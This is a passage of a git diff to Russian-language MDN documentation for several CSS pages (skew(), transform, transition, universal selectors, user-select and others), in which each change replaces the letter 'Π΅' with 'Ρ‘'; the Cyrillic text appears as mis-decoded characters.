<p>Π­Ρ‚ΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ характСризуСтся Π²Π΅ΠΊΡ‚ΠΎΡ€ΠΎΠΌ, ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, сколько ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ выполняСтся Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ. Если всС Ρ‚Ρ€ΠΈ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Π²Π΅ΠΊΡ‚ΠΎΡ€Π° Ρ€Π°Π²Π½Ρ‹, ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ ΠΈΠ»ΠΈ ΠΈΠ·ΠΎΡ‚Ρ€ΠΎΠΏΠ½ΠΎ, Π° Ρ„ΠΎΡ€ΠΌΠ° элСмСнта сохраняСтся. Π’ этом случаС функция ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ опрСдСляСт гомотСтичСскоС ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅.</p>
diff --git a/files/ru/web/css/transform-function/skew()/index.html b/files/ru/web/css/transform-function/skew()/index.html
index 04ff2df26c..256d123b92 100644
--- a/files/ru/web/css/transform-function/skew()/index.html
+++ b/files/ru/web/css/transform-function/skew()/index.html
@@ -11,11 +11,11 @@ translation_of: Web/CSS/transform-function/skew()
-<p>Данная трансформация являСтся Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΌ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ пространства (трансвСкция ΠΈΠ»ΠΈΒ <a href="https://en.wikipedia.org/wiki/Shear_mapping">shear mapping</a>), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄Π΅Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ элСмСнта Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΡƒΠ³ΠΎΠ» ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ. ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π½Π° Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ, ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΡƒΡŽ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ ΡƒΠ³Π»Ρƒ ΠΈ Ρ€Π°ΡΡΡ‚ΠΎΡΠ½ΠΈΡŽ Π΄ΠΎ Ρ‚ΠΎΡ‡ΠΊΠΈ, ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ выполняСтся трансформация (origin); Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Π΅ΠΌ большС расстояниС Π΄ΠΎ смСщаСмой Ρ‚ΠΎΡ‡ΠΊΠΈ элСмСнта, Ρ‚Π΅ΠΌ большС ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ смСщСна ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ.</p>
+<p>Данная трансформация являСтся Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΌ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ пространства (трансвСкция ΠΈΠ»ΠΈΒ <a href="https://en.wikipedia.org/wiki/Shear_mapping">shear mapping</a>), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄Π΅Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ элСмСнта Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΡƒΠ³ΠΎΠ» ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ. ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π½Π° Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ, ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΡƒΡŽ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ ΡƒΠ³Π»Ρƒ ΠΈ Ρ€Π°ΡΡΡ‚ΠΎΡΠ½ΠΈΡŽ Π΄ΠΎ Ρ‚ΠΎΡ‡ΠΊΠΈ, ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ выполняСтся трансформация (origin); Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Π΅ΠΌ большС расстояниС Π΄ΠΎ смСщаСмой Ρ‚ΠΎΡ‡ΠΊΠΈ элСмСнта, Ρ‚Π΅ΠΌ большС ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ смСщСна ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
-<p>Ѐункция <code>skew()</code> задаСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ»ΠΈ двумя значСниями ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ Π½Π°ΠΊΠ»ΠΎΠ½ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ.</p>
+<p>Ѐункция <code>skew()</code> задаётся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ»ΠΈ двумя значСниями ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ Π½Π°ΠΊΠ»ΠΎΠ½ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ.</p>
<pre class="syntaxbox notranslate">skew(<em>ax</em>)
@@ -60,7 +60,7 @@ skew(<em>ax</em>, <em>ay</em>)
<h4 id="HTML">HTML</h4>
<pre class="brush: html notranslate">&lt;div&gt;ΠžΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ&lt;/div&gt;
-&lt;div class="skewed"&gt;НаклонСнный&lt;/div&gt;</pre>
+&lt;div class="skewed"&gt;Наклонённый&lt;/div&gt;</pre>
<h4 id="CSS">CSS</h4>
@@ -85,7 +85,7 @@ skew(<em>ax</em>, <em>ay</em>)
<h4 id="HTML_2">HTML</h4>
<pre class="brush: html notranslate">&lt;div&gt;ΠžΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ&lt;/div&gt;
-&lt;div class="skewed"&gt;НаклонСнный&lt;/div&gt;</pre>
+&lt;div class="skewed"&gt;Наклонённый&lt;/div&gt;</pre>
<h4 id="CSS_2">CSS</h4>
diff --git a/files/ru/web/css/transform-style/index.html b/files/ru/web/css/transform-style/index.html
index 68408dca2a..eb102bd45e 100644
--- a/files/ru/web/css/transform-style/index.html
+++ b/files/ru/web/css/transform-style/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/transform-style
<p>Бвойство <code>transform-style</code> <a href="/en-US/docs/Web/CSS">CSS</a> опрСдСляСт ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта Π² 3D-пространствС ΠΈΠ»ΠΈ Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ плоскости, Ρ‡Ρ‚ΠΎ ΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт.</p>
-<p>Если flat, Ρ‚ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт Β Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² своСм собствСнном 3D-пространствС.</p>
+<p>Если flat, Ρ‚ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт Β Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² своём собствСнном 3D-пространствС.</p>
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это свойство Π½Π΅ наслСдуСтся, Π΅Π³ΠΎ слСдуСт ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ для всСх Π½Π΅ прямых ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ² элСмСнта.</p>
diff --git a/files/ru/web/css/transform/index.html b/files/ru/web/css/transform/index.html
index 54d70a010d..dc0f2707a6 100644
--- a/files/ru/web/css/transform/index.html
+++ b/files/ru/web/css/transform/index.html
@@ -4,7 +4,7 @@ slug: Web/CSS/transform
tags:
- CSS
- transform
- - ВСрстка
+ - Вёрстка
- Бвойство CSS
- Π½Π°ΠΊΠ»ΠΎΠ½
- ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚
@@ -103,9 +103,9 @@ transform: unset;
<h2 id="Accessibility_concerns">Accessibility concerns</h2>
-<p>Scaling/zooming Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ для accessibility, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ становятся частым Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€ΠΎΠΌ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΌΠΈΠ³Ρ€Π΅Π½ΠΈ. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π½Π° вашСм Π²Π΅Π±-сайтС, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ элСмСнт управлСния, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ для всСго сайта.</p>
+<p>Scaling/zooming Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ для accessibility, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ становятся частым Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€ΠΎΠΌ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΌΠΈΠ³Ρ€Π΅Π½ΠΈ. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π½Π° вашСм Π²Π΅Π±-сайтС, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ элСмСнт управлСния, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ для всСго сайта.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, рассмотритС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ использования @media-ΠΎΠΏΡ†ΠΈΠΈ {{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} β€” ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΅Π΅ для написания {{cssxref("Media_Queries", "мСдиавыраТСния")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΠ» Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π² систСмных настройках.</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, рассмотритС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ использования @media-ΠΎΠΏΡ†ΠΈΠΈ {{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} β€” ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΅Ρ‘ для написания {{cssxref("Media_Queries", "мСдиавыраТСния")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΠ» Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π² систСмных настройках.</p>
<p>Π£Π·Π½Π°Ρ‚ΡŒ большС:</p>
diff --git a/files/ru/web/css/transition/index.html b/files/ru/web/css/transition/index.html
index 69bada7245..3d1d7e6dd5 100644
--- a/files/ru/web/css/transition/index.html
+++ b/files/ru/web/css/transition/index.html
@@ -11,7 +11,7 @@ translation_of: Web/CSS/transition
---
<div>{{CSSRef}}</div>
-<p>Бвойство <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> <strong><code>transition</code></strong> - это {{ cssxref("Shorthand_properties", "сокращСнноС свойство") }} для {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }}, ΠΈ {{ cssxref("transition-delay") }}.</p>
+<p>Бвойство <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> <strong><code>transition</code></strong> - это {{ cssxref("Shorthand_properties", "сокращённоС свойство") }} для {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }}, ΠΈ {{ cssxref("transition-delay") }}.</p>
<div>{{EmbedInteractiveExample("pages/css/transition.html")}}</div>
@@ -36,7 +36,7 @@ transition: margin-left 4s ease-in-out 1s;
/* ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΊ 2 свойствам */
transition: margin-left 4s, color 1s;
-/* ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΊΠΎ всСм ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΌ свойствам */
+/* ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΊΠΎ всСм ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌ свойствам */
transition: all 0.5s ease-out;
/* Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Π΅ значСния */
diff --git a/files/ru/web/css/universal_selectors/index.html b/files/ru/web/css/universal_selectors/index.html
index 9742586517..50de4b40f8 100644
--- a/files/ru/web/css/universal_selectors/index.html
+++ b/files/ru/web/css/universal_selectors/index.html
@@ -7,9 +7,9 @@ translation_of: Web/CSS/Universal_selectors
<h2 id="ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅_описаниС">ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС</h2>
-<p>Π—Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠ°Β (*) - ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ сСлСктор для CSS. БоотвСтствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ Ρ‚Π΅Π³Ρƒ. Убирая Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠΈ с простых сСлСкторов ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ эффСкт. НапримСр, <em>* .warning</em> ΠΈ <em>.warning</em> ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ.</p>
+<p>Π—Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ°Β (*) - ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ сСлСктор для CSS. БоотвСтствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ Ρ‚Π΅Π³Ρƒ. Убирая Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠΈ с простых сСлСкторов ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ эффСкт. НапримСр, <em>* .warning</em> ΠΈ <em>.warning</em> ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ.</p>
-<p>Π’ CSS 3, Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠ° (<code>*</code>) ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ с пространством ΠΈΠΌΡ‘Π½</p>
+<p>Π’ CSS 3, Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ° (<code>*</code>) ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ с пространством ΠΈΠΌΡ‘Π½</p>
<ul>
<li><code>ns|*</code> - вхоТдСния всСх элСмСнтов Π² пространствС ΠΈΠΌΡ‘Π½Β ns</li>
@@ -28,7 +28,7 @@ translation_of: Web/CSS/Universal_selectors
&lt;span lang="en-us"&gt;Π—Π΅Π»Ρ‘Π½Ρ‹ΠΉ span&lt;/span&gt; Π² красном ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π΅.
&lt;/p&gt;
&lt;p id="maincontent" lang="en-gb"&gt;
- &lt;span class="warning"&gt;ΠšΡ€Π°ΡΠ½Ρ‹ΠΉ span&lt;/span&gt; Π² Π·Π΅Π»Π΅Π½ΠΎΠΌ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π΅.
+ &lt;span class="warning"&gt;ΠšΡ€Π°ΡΠ½Ρ‹ΠΉ span&lt;/span&gt; Π² Π·Π΅Π»Ρ‘Π½ΠΎΠΌ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π΅.
&lt;/p&gt;</pre>
<p>{{ EmbedLiveSample('Example', 250, 100) }}</p>
@@ -52,7 +52,7 @@ translation_of: Web/CSS/Universal_selectors
<tr>
<td>{{ SpecName('CSS3 Selectors', '#universal-selector', 'universal selector') }}</td>
<td>{{ Spec2('CSS3 Selectors') }}</td>
- <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ пространств ΠΈΠΌΠ΅Π½ ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° подсказка, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ ΠΏΡ€Π΅Π½Π΅Π±Ρ€Π΅Π³Π°Ρ‚ΡŒ сСлСктором для псСвдо-элСмСнтов</td>
+ <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ пространств ΠΈΠΌΡ‘Π½ ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° подсказка, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ ΠΏΡ€Π΅Π½Π΅Π±Ρ€Π΅Π³Π°Ρ‚ΡŒ сСлСктором для псСвдо-элСмСнтов</td>
</tr>
<tr>
<td>{{ SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector') }}</td>
diff --git a/files/ru/web/css/used_value/index.html b/files/ru/web/css/used_value/index.html
index 2467369481..4ae8b7251b 100644
--- a/files/ru/web/css/used_value/index.html
+++ b/files/ru/web/css/used_value/index.html
@@ -13,7 +13,7 @@ translation_of: Web/CSS/used_value
<div><strong>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ΅Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β </strong>-Β <a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS </a>свойство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° всС вычислСния ΡƒΠΆΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹, смотритС <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/computed_value">вычислСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</a>.</div>
<article>
-<p>ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ {{glossary("user agent")}} Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» свои расчСты ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ свойство CSS ΠΈΠΌΠ΅Π΅Ρ‚ своё Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ значСния  (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{cssxref("width")}}, {{cssxref("line-height")}}) Π² пиксСлях. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ значСния сокращённых свойств (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{cssxref("background")}}) ΡΠΎΠ³Π»Π°ΡΡƒΡŽΡ‚ΡΡ с Ρ‚Π΅ΠΌΠΈ ΠΈΠ· свойств ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²Β Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{cssxref("background-color")}} ΠΈΠ»ΠΈΒ {{cssxref("background-size")}}) ΠΈ с {{cssxref("position")}} ΠΈΒ {{cssxref("float")}}.</p>
+<p>ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ {{glossary("user agent")}} Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» свои расчёты ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ свойство CSS ΠΈΠΌΠ΅Π΅Ρ‚ своё Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ значСния  (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{cssxref("width")}}, {{cssxref("line-height")}}) Π² пиксСлях. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ значСния сокращённых свойств (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{cssxref("background")}}) ΡΠΎΠ³Π»Π°ΡΡƒΡŽΡ‚ΡΡ с Ρ‚Π΅ΠΌΠΈ ΠΈΠ· свойств ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²Β Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{cssxref("background-color")}} ΠΈΠ»ΠΈΒ {{cssxref("background-size")}}) ΠΈ с {{cssxref("position")}} ΠΈΒ {{cssxref("float")}}.</p>
<div class="blockIndicator note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>:Β Β {{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <a href="/ru/docs/">Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</a>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ <a href="/ru/docs/">числСнным Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ</a>Β ΠΈΠ»ΠΈΒ <a href="/ru/docs/">ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ</a>, Π² зависимости ΠΎΡ‚ свойства.</p>
diff --git a/files/ru/web/css/user-select/index.html b/files/ru/web/css/user-select/index.html
index 2b9b17f8ae..ed33dd0608 100644
--- a/files/ru/web/css/user-select/index.html
+++ b/files/ru/web/css/user-select/index.html
@@ -2,7 +2,7 @@
title: user-select
slug: Web/CSS/user-select
tags:
- - ВСрстка
+ - Вёрстка
- Бвойство
